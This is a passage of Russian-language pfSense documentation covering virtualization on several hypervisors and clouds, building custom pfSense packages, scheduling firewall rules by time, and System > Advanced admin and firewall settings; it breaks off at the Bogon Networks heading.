Если pfSense не обнаруживает синтетический адаптер при установке, добавьте **Legacy Network Adapter** в настройках оборудования ВМ. Legacy-адаптер эмулирует Intel 21140 (DEC Tulip) и гарантированно поддерживается, но его производительность значительно ниже синтетического адаптера. После завершения установки замените Legacy-адаптер на синтетический.

> **Совет**: отключите динамическую память (Dynamic Memory) для ВМ с pfSense. Динамическое выделение памяти может вызывать нестабильную работу сервисов, особенно Suricata и ntopng.

## KVM/QEMU

### Установка с помощью virt-install

Для создания ВМ pfSense на KVM используйте virt-install:

```bash
virt-install \
  --name pfsense \
  --ram 2048 \
  --vcpus 2 \
  --cpu host \
  --os-variant freebsd14.0 \
  --disk path=/var/lib/libvirt/images/pfsense.qcow2,size=16,bus=virtio \
  --network bridge=br-wan,model=virtio \
  --network bridge=br-lan,model=virtio \
  --graphics vnc,listen=0.0.0.0 \
  --cdrom /path/to/pfSense-CE-2.7.2-RELEASE-amd64.iso \
  --boot cdrom
```

Ключевые параметры:

- `--cpu host` передает полный набор инструкций процессора в ВМ, включая AES-NI
- `--os-variant freebsd14.0` настраивает оптимальные параметры ВМ для FreeBSD
- `model=virtio` для сетевых адаптеров обеспечивает максимальную производительность
- `bus=virtio` для дисков обеспечивает паравиртуальный ввод-вывод

### VirtIO и оптимизация

KVM с VirtIO обеспечивает производительность, близкую к bare-metal. Дополнительные оптимизации:

- Включите **vhost-net** для разгрузки сетевого стека с QEMU на ядро хоста
- Используйте **macvtap** вместо Linux bridge при необходимости прямого доступа к физическому интерфейсу
- Для NUMA-серверов привяжите vCPU к ядрам одного NUMA-узла с помощью `numactl` или virsh vcpupin

## VirtualBox

VirtualBox подходит для лабораторных и тестовых развертываний pfSense. Для production-использования рекомендуются ESXi, Proxmox или KVM.

### Настройка виртуальной машины

1. Создайте ВМ с типом **BSD - FreeBSD (64-bit)**
2. Выделите минимум 1024 МБ ОЗУ и 8 ГБ дискового пространства
3. Добавьте два сетевых адаптера:
   - **Адаптер 1 (WAN)**: режим NAT или Bridged (для доступа в интернет)
   - **Адаптер 2 (LAN)**: режим Internal Network или Host-Only
4. Тип адаптера: **Intel PRO/1000 MT Desktop (82540EM)** - поддерживается без дополнительных драйверов
5. В разделе **System - Acceleration** убедитесь, что включены VT-x/AMD-V и Nested Paging

> **Ограничение**: VirtualBox не поддерживает VirtIO для сетевых адаптеров в гостевых ОС FreeBSD. Используйте эмулированные адаптеры Intel E1000.

## Облачные платформы

### AWS

pfSense доступен в AWS Marketplace как AMI (Netgate pfSense Plus). Особенности развертывания:

- Выберите тип инстанса с поддержкой Enhanced Networking (ENA) - рекомендуется c5.large и выше
- Создайте минимум два Elastic Network Interface (ENI): один для WAN (public subnet), один для LAN (private subnet)
- Security Groups применяются поверх правил pfSense - учитывайте это при диагностике
- Source/Dest Check необходимо **отключить** на ENI для корректной маршрутизации

### Azure

В Azure pfSense развертывается из Azure Marketplace (Netgate pfSense Plus):

- Рекомендуемый размер ВМ: Standard_D2s_v3 и выше
- Создайте два сетевых интерфейса (NIC) в разных подсетях
- Включите **IP Forwarding** на обоих NIC
- Network Security Groups (NSG) работают параллельно с pfSense - для упрощения диагностики создайте permissive NSG и управляйте фильтрацией через pfSense

## Типовые проблемы виртуализации

### Порядок сетевых интерфейсов

При добавлении или удалении виртуальных сетевых адаптеров интерфейсы pfSense могут поменять свои имена и порядок. Это приводит к тому, что WAN и LAN меняются местами. Для устранения:

1. Загрузитесь в консоль pfSense
2. Выберите пункт **1) Assign Interfaces**
3. Переназначьте интерфейсы в правильном порядке, ориентируясь на MAC-адреса

Для предотвращения проблемы запишите MAC-адреса каждого виртуального адаптера при создании ВМ.

### Тип консоли

Если консоль ВМ отображает пустой экран или артефакты:

- В ESXi переключите Video Card на **SVGA** с достаточным объемом видеопамяти
- В Proxmox используйте тип дисплея **VirtIO-GPU** или **Default (Std VGA)**
- В KVM убедитесь, что параметр `--graphics` указан корректно (vnc или spice)
- Для headless-серверов настройте serial-консоль: в загрузчике pfSense добавьте `console=comconsole` в `/boot/loader.conf`

### Проброс AES-NI

Инструкции AES-NI необходимы для аппаратного ускорения шифрования VPN (IPsec, OpenVPN). Для проброса AES-NI в виртуальную машину:

- **ESXi**: включается автоматически при типе CPU **host** или при явном включении AES-NI в настройках ВМ
- **Proxmox/KVM**: используйте тип CPU **host** (`--cpu host` в virt-install или `cpu: host` в конфигурации ВМ)
- **Hyper-V**: AES-NI прозрачно проксируется в гостевую ОС
- **VirtualBox**: поддерживается при включении VT-x и Nested Paging

Проверьте доступность AES-NI в pfSense: **System - Advanced - Miscellaneous** или через консоль командой `dmesg | grep -i aes`.

### Оптимизация производительности

Общие рекомендации для всех гипервизоров:

- **Отключите offloading в pfSense** при проблемах с производительностью или потерях пакетов: **System - Advanced - Networking**, снимите флаги Hardware Checksum Offload, Hardware TCP Segmentation Offload и Hardware Large Receive Offload
- **Выделяйте фиксированный объем ОЗУ** вместо динамического - pfSense чувствителен к изменению доступной памяти
- **Используйте паравиртуальные адаптеры** (VMXNET3, VirtIO) везде, где это возможно
- **Не выделяйте избыточные ресурсы** - pfSense эффективно работает с 2 vCPU и 2 ГБ ОЗУ для большинства сценариев

Дополнительные сведения о настройке сети pfSense доступны в разделе [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/). Для настройки VPN на виртуальном pfSense обратитесь к разделу [VPN](/docs/pfsense/vpn/). Общие вопросы по установке рассмотрены в разделе [установка pfSense](/docs/pfsense/installation/).


---

# Разработка пакетов для pfSense

Source: https://opennix.org/docs/pfsense/development/pfsense-package-development/


Пакеты расширяют функциональность pfSense без модификации базовой системы. Каждый пакет представляет собой FreeBSD-порт со специфичной для pfSense структурой: XML-манифест определяет метаданные, XML-файлы конфигурации описывают интерфейс, а PHP-файлы реализуют логику. Package Manager устанавливает пакеты из официального репозитория, но разработчики могут собирать и устанавливать собственные пакеты вручную.

## Структура порта пакета

Пакеты pfSense именуются по схеме `pfSense-pkg-<Name>` и размещаются в категорийных каталогах FreeBSD-портов (например, `sysutils/`, `net/`, `security/`). Разработка ведется в ветке `devel` репозитория [pfSense FreeBSD-ports](https://github.com/pfsense/FreeBSD-ports).

Типичная структура порта:

```
sysutils/pfSense-pkg-MyPackage/
├── Makefile                           # Версия, зависимости, сборка
├── pkg-descr                          # Текстовое описание пакета
├── pkg-plist                          # Список устанавливаемых файлов
└── files/
    ├── pkg-install.in                 # Скрипт установки
    ├── pkg-deinstall.in               # Скрипт удаления
    └── usr/local/
        ├── bin/                       # Исполняемые скрипты
        ├── pkg/
        │   ├── mypackage.xml          # Конфигурация GUI
        │   └── mypackage.inc          # PHP-модуль с логикой
        ├── share/pfSense-pkg-MyPackage/
        │   └── info.xml               # Манифест пакета
        └── www/packages/mypackage/
            └── mypackage.php          # Веб-страницы пакета
```

### Makefile

Makefile определяет версию пакета, зависимости и процедуру сборки. Версия задается через переменную `PORTVERSION`, а зависимости от бинарных пакетов FreeBSD указываются в `RUN_DEPENDS`:

```makefile
PORTNAME=       pfSense-pkg-MyPackage
PORTVERSION=    0.1.0
CATEGORIES=     sysutils
MASTER_SITES=   # пусто для локальных пакетов

MAINTAINER=     developer@example.com
COMMENT=        My custom pfSense package

RUN_DEPENDS+=   bash:shells/bash

NO_BUILD=       yes
NO_MTREE=       yes

.include <bsd.port.mk>
```

При каждом обновлении пакета необходимо увеличивать `PORTVERSION`. Без изменения версии система не обнаружит обновление.

### pkg-plist

Файл `pkg-plist` перечисляет все файлы, устанавливаемые пакетом, относительно `/usr/local/`:

```
share/pfSense-pkg-MyPackage/info.xml
pkg/mypackage.xml
pkg/mypackage.inc
www/packages/mypackage/mypackage.php
```

При добавлении новых файлов в пакет обязательно обновляйте `pkg-plist`, иначе файлы не будут включены в сборку.

### Скрипты установки и удаления

Файлы `pkg-install.in` и `pkg-deinstall.in` одинаковы для всех пакетов pfSense и обеспечивают интеграцию с Package Manager. Копируйте их из любого существующего пакета без изменений.

## XML-манифест (info.xml)

Манифест `info.xml` размещается в `files/usr/local/share/pfSense-pkg-<Name>/info.xml` и содержит метаданные пакета:

```xml
<?xml version="1.0" encoding="utf-8" ?>
<pfsensepkgs>
  <package>
    <name>mypackage</name>
    <descr>Description of my package</descr>
    <pkginfolink>https://example.com/docs</pkginfolink>
    <version>%%PKGVERSION%%</version>
    <configurationfile>
      https://packages.pfsense.org/packages/config/mypackage/mypackage.xml
    </configurationfile>
  </package>
</pfsensepkgs>
```

Переменная `%%PKGVERSION%%` автоматически подставляется из `PORTVERSION` в Makefile при сборке.

## Конфигурация GUI (XML-файл пакета)

XML-файл конфигурации (например, `mypackage.xml`) определяет интеграцию пакета с веб-интерфейсом pfSense: пункты меню, страницы настроек, поля форм и хуки жизненного цикла.

### Интеграция в меню

Элемент `<menu>` регистрирует пакет в навигации pfSense:

```xml
<packagegui>
  <menu>
    <name>MyPackage</name>
    <section>Services</section>
    <url>/packages/mypackage/mypackage.php</url>
  </menu>
</packagegui>
```

Пакет появится в разделе **Services** главного меню после установки.

### Определение полей настроек

Раздел `<fields>` описывает элементы формы на странице настроек пакета:

```xml
<fields>
  <field>
    <fielddescr>Enable Service</fielddescr>
    <fieldname>enable</fieldname>
    <type>checkbox</type>
    <description>Enable or disable the service</description>
  </field>
  <field>
    <fielddescr>Listen Port</fielddescr>
    <fieldname>port</fieldname>
    <type>input</type>
    <size>5</size>
    <description>Port number for the service (default: 8080)</description>
  </field>
  <field>
    <fielddescr>Network Interface</fielddescr>
    <fieldname>interface</fieldname>
    <type>interfaces_selection</type>
    <description>Select the interface to bind</description>
  </field>
</fields>
```

Поддерживаемые типы полей: `input`, `password`, `textarea`, `checkbox`, `select`, `interfaces_selection`, `info`, `button`.

Для группировки полей в одну строку используйте `<combinefields>`. Для табличного ввода нескольких записей - `<rowhelper>`. Для списков с добавлением, удалением и редактированием - `<adddeleteeditpagefields>`.

### Хуки жизненного цикла

PHP-функции, выполняемые на различных этапах работы пакета:

| Хук | Назначение |
|---|---|
| `custom_php_install_command` | Действия после установки пакета |
| `custom_php_deinstall_command` | Очистка при удалении пакета |
| `custom_php_resync_config_command` | Синхронизация конфигурации (вызывается при сохранении) |
| `custom_php_validation_command` | Валидация введенных данных перед сохранением |

Хуки указываются в XML как имена PHP-функций, определенных в `.inc`-файле пакета.

## PHP-файлы пакета

### Include-файл (.inc)

Файл `mypackage.inc` в каталоге `files/usr/local/pkg/` содержит основную логику пакета: функции валидации, применения конфигурации, генерации конфигурационных файлов сервисов.

```php
<?php
require_once("config.inc");
require_once("util.inc");
require_once("service-utils.inc");

function mypackage_validate_input($post, &$input_errors) {
    if (!is_port($post['port'])) {
        $input_errors[] = "Invalid port number.";
    }
}

function mypackage_resync_config() {
    global $config;
    $settings = $config['installedpackages']['mypackage']['config'][0];

    if ($settings['enable'] != "on") {
        mypackage_stop_service();
        return;
    }

    // Generate configuration file
    $conf = "listen_port={$settings['port']}\n";
    file_put_contents("/usr/local/etc/mypackage.conf", $conf);

    mypackage_restart_service();
}

function mypackage_restart_service() {
    mwexec("/usr/local/bin/mypackage restart");
}

function mypackage_stop_service() {
    mwexec("/usr/local/bin/mypackage stop");
}
```

### Веб-страницы (.php)

PHP-файлы в `files/usr/local/www/packages/mypackage/` отвечают за отображение страниц пакета в веб-интерфейсе. Для большинства пакетов достаточно стандартного шаблона, который автоматически генерирует страницу настроек на основе XML-конфигурации.

## Зависимости пакета

Зависимости от бинарных пакетов FreeBSD указываются в Makefile через `RUN_DEPENDS`. XML-конфигурация пакета не управляет зависимостями - это задача системы портов.

```makefile
RUN_DEPENDS+=   python3:lang/python3 \
                curl:ftp/curl
```

pfSense использует собственный репозиторий пакетов, основанный на FreeBSD `pkg`. Не все пакеты из стандартного репозитория FreeBSD доступны - проверяйте наличие нужных зависимостей в репозитории pfSense перед их использованием.

## Компиляция ПО для pfSense

pfSense намеренно не включает средства компиляции (make, заголовочные файлы) из соображений безопасности. Для компиляции стороннего ПО:

1. Разверните виртуальную машину с версией FreeBSD, соответствующей вашей версии pfSense
2. Скомпилируйте программу в этой среде
3. Перенесите готовые бинарные файлы или пакеты на межсетевой экран

Альтернативный вариант - использовать предкомпилированные пакеты FreeBSD через `pkg install` при условии совместимости версий.

## Сборка и тестирование пакета

### Сборка пакета

Для сборки пакета из порта используется стандартный механизм FreeBSD:

```bash
cd /usr/ports/sysutils/pfSense-pkg-MyPackage
make package
```

Результатом будет файл `.pkg` (или `.txz`), готовый к установке.

### Установка на тестовый экземпляр

Установите собранный пакет на тестовый pfSense:

```bash
pkg add pfSense-pkg-MyPackage-0.1.0.pkg
```

После установки:

- Проверьте появление пункта в меню
- Протестируйте сохранение и загрузку настроек
- Убедитесь, что хуки жизненного цикла работают корректно
- Проверьте корректную работу при удалении и повторной установке пакета

### Отладка

При ошибках в пакете просматривайте журнал системы:

```bash
tail -f /var/log/system.log
```

PHP-ошибки пакетов отображаются на странице **Status > System Logs** в разделе **System > General**.

## Публикация пакета

Для включения пакета в официальный репозиторий pfSense:

1. Убедитесь, что пакет соответствует [руководству по стилю](https://docs.netgate.com/pfsense/en/latest/references/developer-style-guide.html)
2. Создайте запись в [Redmine pfSense](https://redmine.pfsense.org) с описанием пакета
3. Отправьте pull request в репозиторий [pfSense FreeBSD-ports](https://github.com/pfsense/FreeBSD-ports) в ветку `devel`
4. Дождитесь ревью от разработчиков Netgate

Pull request должен содержать ссылку на запись в Redmine, описание функциональности и результаты тестирования.

## Типичные ошибки

| Проблема | Причина | Решение |
|---|---|---|
| Пакет не обновляется | Не увеличен `PORTVERSION` в Makefile | Инкрементируйте версию при каждом изменении |
| Файлы не устанавливаются | Не обновлен `pkg-plist` | Добавьте все новые файлы в `pkg-plist` |
| Ошибки PHP после обновления pfSense | Несовместимость с PHP 8.x | Замените устаревшие функции, используйте `elseif` вместо `else if` |
| Пакет работает на 2.7, но не на 2.8 | Изменения в базовой версии FreeBSD | Проверяйте совместимость с целевой версией FreeBSD |
| Пробелы вместо табуляции | Нарушение стиля кодирования | Используйте табуляцию с шириной 8 для отступов |
| XSS-уязвимости | Вывод пользовательского ввода без экранирования | Используйте `htmlspecialchars()` для всех выводимых данных |

## Связанные разделы

- [Пользовательские скрипты pfSense](/docs/pfsense/development/pfsense-custom-scripts/) - скрипты автоматизации, Shellcmd, Cron и PHP Shell
- [API и автоматизация](/docs/pfsense/development/pfsense-api-automation/) - программное управление pfSense через REST API
- [Пакеты pfSense](/docs/pfsense/packages/) - установка и управление пакетами через Package Manager


---

# Расписания правил файрвола pfSense - управление по времени

Source: https://opennix.org/docs/pfsense/firewall/pfsense-firewall-schedules/


Расписания в pfSense позволяют ограничить действие правил файрвола определёнными временными окнами - днями недели и часами. Правило, привязанное к расписанию, активно только в указанные периоды времени и не оказывает влияния на трафик за их пределами. Механизм расписаний применяется для реализации политик временного доступа: ограничение интернет-трафика в рабочие часы, управление доступом гостевых сетей, применение полосы пропускания по расписанию и аналогичных задач.

Расписания не создают отдельных правил - они выступают модификатором существующего правила, определяя временной интервал его применения. Вне расписания правило не инвертируется, а просто перестаёт участвовать в обработке трафика.

## Создание расписания

Управление расписаниями выполняется через меню **Firewall > Schedules**. Для создания нового расписания необходимо нажать кнопку **Add**.

### Параметры расписания

| Параметр | Описание |
|---|---|
| **Schedule Name** | Имя расписания. Допускаются только латинские буквы и цифры, без пробелов. Пример: `BusinessHours`, `WeekendAccess` |
| **Description** | Текстовое описание назначения расписания. Отображается в списке расписаний и при выборе расписания в правиле |

### Настройка временных диапазонов

Каждое расписание содержит один или несколько временных диапазонов (time ranges). Для каждого диапазона указываются следующие параметры:

**Выбор дней.** Календарь позволяет выбрать конкретные даты месяца или дни недели. Для создания повторяющегося расписания следует использовать заголовки дней недели (Mon, Tue, Wed и так далее) вместо конкретных календарных дат. При нажатии на заголовок дня недели расписание будет применяться к этому дню каждую неделю.

**Время начала и окончания.** Указывается в 24-часовом формате. Временной диапазон не может пересекать полночь - если требуется расписание, охватывающее ночное время, необходимо создать два отдельных диапазона: один до полуночи (например, 18:00--23:59) и второй после (00:00--06:00).

**Гранулярность.** Минимальный интервал составляет 15 минут. Начало и окончание времени задаются с шагом 15 минут: 0:00, 0:15, 0:30, 0:45, 1:00 и так далее. Для указания полных суток используется диапазон 0:00--23:59.

**Описание диапазона.** Необязательное текстовое описание, помогающее различать несколько диапазонов внутри одного расписания (например, `Weekday morning`, `Weekend full day`).

Для добавления диапазона в расписание после выбора дней и времени необходимо нажать кнопку **Add Time**. Один расписание может содержать несколько диапазонов - это позволяет задать различное время активности для разных дней недели.

![Настройка расписания в pfSense](/img/pfsense/pfsense-schedule-edit.webp)

<p style="text-align: center;">Рис. 1. Экран редактирования расписания Firewall > Schedules</p>

### Пример: рабочие часы с понедельника по пятницу

Для создания расписания, активного в рабочее время (09:00--18:00, понедельник--пятница):

1. Перейти в **Firewall > Schedules** и нажать **Add**.
2. Указать имя: `BusinessHours`.
3. Указать описание: `Working hours Mon-Fri 09:00-18:00`.
4. В календаре нажать на заголовки Mon, Tue, Wed, Thu, Fri.
5. Установить время начала 9:00 и время окончания 17:45.
6. Нажать **Add Time** для добавления диапазона.
7. Нажать **Save** для сохранения расписания.

> **Внимание**:
>
> Время окончания указывает начало последнего 15-минутного блока, в течение которого расписание ещё активно. Для расписания до 18:00 следует указать 17:45 - это означает, что расписание будет активно до 17:59:59.

## Применение расписания к правилу

После создания расписания его необходимо привязать к правилу файрвола. Расписание само по себе не влияет на трафик - оно определяет только временное окно, в течение которого связанное правило будет обрабатываться.

Для привязки расписания:

1. Перейти на вкладку интерфейса, содержащую целевое правило (например, **Firewall > Rules > LAN**).
2. Создать новое или отредактировать существующее правило.
3. В разделе **Extra Options** раскрыть **Advanced Options** (кнопка **Display Advanced**).
4. В поле **Schedule** выбрать требуемое расписание из выпадающего списка.
5. Сохранить правило и применить изменения (**Apply Changes**).

![Применение расписания к правилу файрвола](/img/pfsense/pfsense-schedule-rule.webp)

<p style="text-align: center;">Рис. 2. Выбор расписания в настройках правила файрвола</p>

В списке правил на вкладке интерфейса отображается индикатор состояния расписания. При наведении курсора на индикатор отображается информация о текущем статусе расписания - активно оно в данный момент или нет.

## Поведение правила вне расписания

Правило, привязанное к расписанию, которое в текущий момент неактивно, полностью исключается из обработки трафика. Это означает:

- Правило **не инвертируется**. Если правило разрешает трафик в рабочие часы, вне рабочих часов оно не начинает блокировать этот трафик. Правило просто перестаёт существовать для механизма фильтрации.
- Трафик обрабатывается оставшимися правилами в соответствии со стандартным порядком (first match wins). Если ни одно другое правило не разрешает трафик, он будет заблокирован неявным правилом запрета (implicit deny).
- Это поведение является принципиальным для правильного проектирования политик: запрещающее правило по расписанию блокирует трафик только в период активности расписания, а не за его пределами.

### Обработка активных соединений

По умолчанию при завершении расписания pfSense очищает записи таблицы состояний (state table) для соединений, разрешённых по этому правилу. Активные TCP-сессии и другие соединения, установленные в период действия расписания, будут принудительно завершены.

Если требуется сохранить активные соединения после истечения расписания, необходимо включить параметр **Do not kill connections when schedule expires** в меню **System > Advanced** на вкладке **Miscellaneous**. При включении этого параметра существующие соединения сохраняются до естественного завершения или истечения таймаута состояния, однако новые соединения по этому правилу создаваться не будут.

> **Внимание**:
>
> Сохранение соединений после истечения расписания может создавать окно для обхода политики безопасности. Если пользователь установил соединение в разрешённый период, оно будет оставаться активным неограниченно долго (в пределах таймаута состояния). Для критичных политик рекомендуется использовать поведение по умолчанию с принудительным завершением соединений.

## Примеры сценариев

### Блокировка социальных сетей в рабочие часы

**Задача:** запретить сотрудникам доступ к социальным сетям с 09:00 до 18:00, понедельник--пятница, разрешив доступ в остальное время.

**Реализация:**

1. Создать [алиас](/docs/pfsense/firewall/pfsense-firewall-aliases/) типа Host или URL Table с адресами социальных сетей (например, `SocialMedia`).
2. Создать расписание `WorkHours` с диапазоном Mon--Fri, 9:00--17:45.
3. Создать блокирующее правило на вкладке LAN:
   - **Action:** Block
   - **Source:** LAN net
   - **Destination:** алиас `SocialMedia`
   - **Schedule:** `WorkHours`
4. Разместить правило выше общего разрешающего правила.

Вне рабочих часов блокирующее правило неактивно, и трафик к социальным сетям обрабатывается нижестоящими разрешающими правилами.

### Гостевая сеть с доступом только в бизнес-часы

**Задача:** предоставить гостевой сети доступ в интернет только в рабочее время (08:00--20:00, понедельник--суббота).

**Реализация:**

1. Создать расписание `GuestAccess` с двумя диапазонами:
   - Mon--Fri, 8:00--19:45
   - Sat, 8:00--19:45
2. На вкладке гостевого интерфейса (например, **OPT1** или **GUESTWIFI**) создать разрешающее правило:
   - **Action:** Pass
   - **Source:** GUESTWIFI net
   - **Destination:** any
   - **Schedule:** `GuestAccess`

Вне указанного расписания разрешающее правило неактивно, и трафик гостевой сети блокируется неявным правилом запрета. Дополнительное блокирующее правило создавать не требуется.

### Ограничение пропускной способности по времени

**Задача:** в пиковые часы (10:00--16:00) ограничить пропускную способность для определённой группы пользователей.

**Реализация:**

1. Создать расписание `PeakHours` с диапазоном Mon--Fri, 10:00--15:45.
2. Настроить ограничитель (limiter) через **Firewall > Traffic Shaper > Limiters** с требуемой полосой.
3. Создать правило на вкладке интерфейса:
   - **Action:** Pass
   - **Source:** алиас с адресами пользователей
   - **Destination:** any
   - **Schedule:** `PeakHours`
   - **In/Out pipe:** привязать к созданному ограничителю
4. Разместить правило выше общего разрешающего правила без ограничений.

В период действия расписания трафик обрабатывается правилом с ограничителем. Вне расписания это правило неактивно, и трафик обрабатывается нижестоящим правилом без ограничений полосы.

## Ограничения

Механизм расписаний в pfSense имеет ряд ограничений, которые необходимо учитывать при проектировании политик безопасности.

### Часовой пояс

Все временные расписания используют часовой пояс, настроенный на устройстве pfSense (**System > General Setup > Timezone**). При работе с территориально распределёнными площадками, подключёнными через VPN, следует учитывать, что расписание активируется по времени файрвола, а не по локальному времени пользователей. Для корректной работы необходимо убедиться, что часовой пояс настроен правильно и система синхронизирует время через NTP.

### Гранулярность 15 минут

Минимальная единица времени в расписании - 15 минут. Создать расписание с точностью до минуты невозможно. Это следует учитывать при планировании политик с жёсткими временными требованиями.

### Невозможность пересечения полуночи

Одиночный временной диапазон не может пересекать полночь. Для создания ночного расписания (например, 22:00--06:00) необходимо задать два отдельных диапазона: 22:00--23:59 и 00:00--05:45. Оба диапазона включаются в одно расписание.

### Отсутствие исключений для праздников

pfSense не поддерживает механизм исключения праздничных и нерабочих дней из повторяющихся расписаний. Если расписание настроено на Mon--Fri, оно будет активно в государственные праздники, выпадающие на будние дни. Для обработки праздников необходимо либо вручную добавлять конкретные даты как отдельные диапазоны, либо временно модифицировать расписание.

### Конкретные даты и повторяющиеся дни

Расписание, созданное с выбором конкретных календарных дат (а не заголовков дней недели), является одноразовым - оно активируется только в указанные даты. Для регулярного расписания всегда следует использовать выбор по дням недели через заголовки столбцов календаря.

### Влияние на производительность

Расписания не оказывают заметного влияния на производительность файрвола. Проверка расписания выполняется при загрузке набора правил, а не для каждого пакета. При наступлении или завершении временного окна pfSense перезагружает набор правил (ruleset reload), что занимает минимальное время и не влияет на обработку трафика.

## Связанные разделы

- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами, к которым применяются расписания
- [Алиасы](/docs/pfsense/firewall/pfsense-firewall-aliases/) - группировка адресов и портов для использования в правилах с расписаниями
- [Лучшие практики](/docs/pfsense/firewall/pfsense-firewall-best-practices/) - рекомендации по организации правил файрвола, включая работу с временными политиками


---

# Расширенные настройки pfSense - System Advanced

Source: https://opennix.org/docs/pfsense/configuration/pfsense-advanced-settings/


Раздел System > Advanced объединяет параметры, требующие понимания архитектуры pfSense и влияющие на безопасность, производительность и стабильность системы. Неверная конфигурация может привести к потере доступа к веб-интерфейсу или деградации сетевых функций. Перед изменением расширенных параметров рекомендуется выполнить [резервное копирование конфигурации](/docs/pfsense/backup/).

## Доступ администратора (Admin Access)

Вкладка Admin Access управляет протоколами и параметрами доступа к интерфейсу управления межсетевым экраном.

### Веб-интерфейс (webConfigurator)

#### Протокол и порт

| Параметр | Описание | По умолчанию |
|---|---|---|
| Protocol | HTTP или HTTPS. HTTPS рекомендуется для всех сред | HTTPS |
| SSL/TLS Certificate | Сертификат для HTTPS-соединения. Самоподписанный генерируется при установке | Автоматический |
| TCP Port | Порт веб-интерфейса | 443 |
| Max Processes | Количество рабочих процессов nginx | 2 |

Увеличение Max Processes до 4-6 может потребоваться при одновременной работе нескольких администраторов. Каждый процесс потребляет дополнительную память.

> **Warning**:
>
> Не публикуйте веб-интерфейс pfSense в недоверенные сети. При необходимости удалённого доступа используйте VPN.

#### Перенаправление и безопасность

| Параметр | Описание | Рекомендация |
|---|---|---|
| WebGUI Redirect | Перенаправление HTTP (порт 80) на HTTPS-порт GUI | Включить, если порт 80 не нужен другим сервисам |
| HSTS | HTTP Strict Transport Security - браузер запоминает HTTPS-only | Включить для постоянных администраторов |
| OCSP Must-Staple | Принудительное OCSP-сшивание для сертификата GUI | Включить при использовании публичного CA |
| Login Autocomplete | Разрешает браузерам сохранять пароль | Отключить в средах с общими рабочими станциями |
| Anti-Lockout Rule | Запрещающие правила не блокируют доступ к GUI/SSH на LAN | Не отключать без альтернативного доступа |

#### Проверки безопасности

**DNS Rebind Check** - предотвращает атаки DNS rebinding, отклоняя DNS-ответы, содержащие частные IP-адреса. Отключите, если внутренние DNS-записи указывают на pfSense по приватному адресу и доступ к GUI блокируется.

**HTTP_REFERER Enforcement** - проверяет заголовок Referer для защиты от межсайтовых атак. Может вызывать ложные блокировки при использовании прокси-серверов, модифицирующих заголовки.

**Alternate Hostnames** - список дополнительных имён хостов, принимаемых проверками DNS Rebind и HTTP_REFERER. Добавьте сюда все имена, через которые администраторы обращаются к интерфейсу.

**Browser Tab Text** - по умолчанию заголовок вкладки показывает hostname первым, затем имя страницы. Включение опции меняет порядок.

### SSH-доступ

| Параметр | Описание | По умолчанию |
|---|---|---|
| Enable Secure Shell | Активирует демон SSH, генерирует ключи при первом запуске | Отключён |
| SSHd Key Only | Метод аутентификации: пароль или ключ, только ключ, оба | Пароль или ключ |
| Allow Agent Forwarding | Разрешает перенаправление SSH-агента | Отключено |
| SSH Port | Порт SSH-сервера | 22 |

Рекомендации по безопасности SSH:

- Используйте аутентификацию только по ключам в production-средах
- Смена порта с 22 на нестандартный обеспечивает минимальную защиту и не заменяет правила межсетевого экрана
- SSH-ключи пользователей настраиваются в разделе [управления пользователями](/docs/pfsense/users/)
- Для доступа из внешних сетей используйте VPN, а не прямой SSH через WAN

### Последовательная консоль

| Параметр | Описание | По умолчанию |
|---|---|---|
| Serial Terminal | Включает консоль на первом последовательном порту | Отключено |
| Serial Speed | Скорость передачи данных (бит/с) | 115200 |
| Primary Console | Выбор основной консоли: видео или последовательная | Video (VGA) |

Включение последовательной консоли требует перезагрузки. На безголовых системах (серверы без видеовыхода) последовательная консоль часто является единственным средством физического доступа.

### Защита консольного меню

Параметр **Console menu protection** включает парольную защиту физической консоли с использованием учётных данных веб-интерфейса. Это дополнительная мера защиты, не заменяющая физическую безопасность серверного помещения. Требует перезагрузки для активации.

## Межсетевой экран и NAT (Firewall & NAT)

Вкладка Firewall & NAT содержит параметры обработки пакетов, таблицы состояний и трансляции адресов.

### Обработка пакетов

#### Параметры IP-пакетов

| Параметр | Описание |
|---|---|
| IP Do-Not-Fragment | Очищает бит DF в пакетах вместо их отбрасывания. Решает проблемы совместимости с ОС, генерирующими фрагментированные пакеты с установленным DF |
| IP Random ID | Заменяет предсказуемые значения поля IP ID случайными. Применяется только к нефрагментированным пакетам |
| Firewall Scrub | PF-нормализация пакетов. Отключение может потребоваться для NFS и VoIP-трафика |

#### Оптимизация межсетевого экрана

Параметр **Firewall Optimization Options** определяет алгоритм истечения записей таблицы состояний:

| Режим | Описание | Применение |
|---|---|---|
| Normal | Стандартный алгоритм | Большинство сред |
| High Latency | Увеличенные таймауты | Спутниковые и высоколатентные каналы |
| Aggressive | Ускоренное истечение неактивных соединений | Высоконагруженные среды |
| Conservative | Максимальное сохранение соединений | Среды, где критична непрерывность сессий |

#### Таблица состояний

| Параметр | Описание | По умолчанию |
|---|---|---|
| Maximum States | Максимальное число отслеживаемых соединений. Каждое состояние потребляет около 1 КБ памяти | ~10% RAM |
| Maximum Table Entries | Максимальное число записей в адресных таблицах (алиасы, заблокированные хосты) | 400 000 |
| Maximum Fragment Entries | Максимальное число фрагментов в таблице пересборки (при включённом scrub) | 5 000 |

#### Адаптивные таймауты

Управляют поведением таблицы состояний при приближении к предельной ёмкости:

- **Adaptive Start** - порог начала сокращения таймаутов (по умолчанию 60% от Maximum States)
- **Adaptive End** - порог максимального сокращения (по умолчанию 120% от Maximum States)

Между этими порогами таймауты линейно масштабируются, предотвращая переполнение таблицы.

### Параметры VPN

| Параметр | Описание |
|---|---|
| VPN IP Do-Not-Fragment | Аналог IP Do-Not-Fragment, но применяется только к VPN-трафику |
| IP Fragment Reassemble | Буферизация фрагментов до формирования полного пакета перед фильтрацией |
| MSS Clamping | Ограничение максимального размера сегмента TCP в IPsec-туннелях. По умолчанию: 1400 байт |

### Расширенные параметры межсетевого экрана

| Параметр | Описание |
|---|---|
| Disable Firewall | Полностью отключает PF, превращая устройство в маршрутизатор. Также отключает NAT |
| State Policy | Interface Bound (более безопасный) или Floating (для асимметричной маршрутизации) |
| Static Route Filtering | Пропуск правил для трафика, входящего и выходящего через один интерфейс |
| Disable Auto-added VPN rules | Отключает автоматические правила для IPsec, передавая контроль администратору |
| Disable Reply-To | Отключает автоматическую привязку ответного трафика к входящему интерфейсу |
| Disable Negate rules | Удаляет автоматические правила для локальной и VPN-связности в Multi-WAN |
| Allow APIPA | Снимает блокировку трафика 169.254.0.0/16 |

### Bogon Networks

